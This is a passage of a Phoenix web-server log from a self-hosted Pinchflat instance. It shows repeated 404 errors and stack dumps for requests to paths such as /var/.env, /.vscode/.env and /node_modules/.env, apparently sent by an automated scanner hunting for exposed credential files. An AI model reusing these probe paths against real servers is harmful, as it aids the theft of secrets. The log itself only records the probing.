"185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3276.0>, params: %{}, path_info: ["var", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/var/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-kS-O4sKZcwAAPGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3275.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49718}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3275.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49718}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3276.0>, params: %{}, path_info: ["var", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:41.222 [info] GET /kyc/.env 21:08:41.222 [debug] QUERY OK source="settings" db=0.3ms idle=220.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.223 [debug] QUERY OK source="settings" db=0.1ms idle=189.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.223 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.223 [error] #PID<0.3278.0> running PinchflatWeb.Endpoint (connection #PID<0.3277.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /kyc/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kyc/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3277.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kyc/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49728}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3278.0>, params: %{}, path_info: ["kyc", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/kyc/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-kp9NqjDY5oAAPIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3277.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kyc/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49728}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kyc/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3277.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kyc/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49728}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3278.0>, params: %{}, path_info: ["kyc", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:41.257 [info] GET /.vscode/.env 21:08:41.258 [debug] QUERY OK source="settings" db=0.1ms idle=131.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.258 [debug] QUERY OK source="settings" db=0.2ms idle=130.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.258 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.259 [error] #PID<0.3280.0> running PinchflatWeb.Endpoint (connection #PID<0.3279.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.vscode/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3279.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49734}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3280.0>, params: %{}, path_info: [".vscode", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.vscode/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-kyddqQa5qwAAPKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3279.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49734}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3279.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49734}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3280.0>, params: %{}, path_info: [".vscode", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:41.383 [info] GET /node_modules/.env 21:08:41.384 [debug] QUERY OK source="settings" db=0.3ms idle=160.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.384 [debug] QUERY OK source="settings" db=0.3ms idle=160.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.384 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.385 [error] #PID<0.3282.0> running PinchflatWeb.Endpoint (connection #PID<0.3281.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /node_modules/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /node_modules/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3281.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node_modules/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49740}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3282.0>, params: %{}, path_info: ["node_modules", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/node_modules/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-lQXWAXCezkAAPMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3281.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node_modules/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49740}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /node_modules/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3281.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node_modules/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49740}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3282.0>, params: %{}, path_info: ["node_modules", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-for (truncated) 21:08:41.426 [info] GET /config.env 21:08:41.427 [debug] QUERY OK source="settings" db=0.1ms idle=180.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.427 [debug] QUERY OK source="settings" db=0.0ms idle=168.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 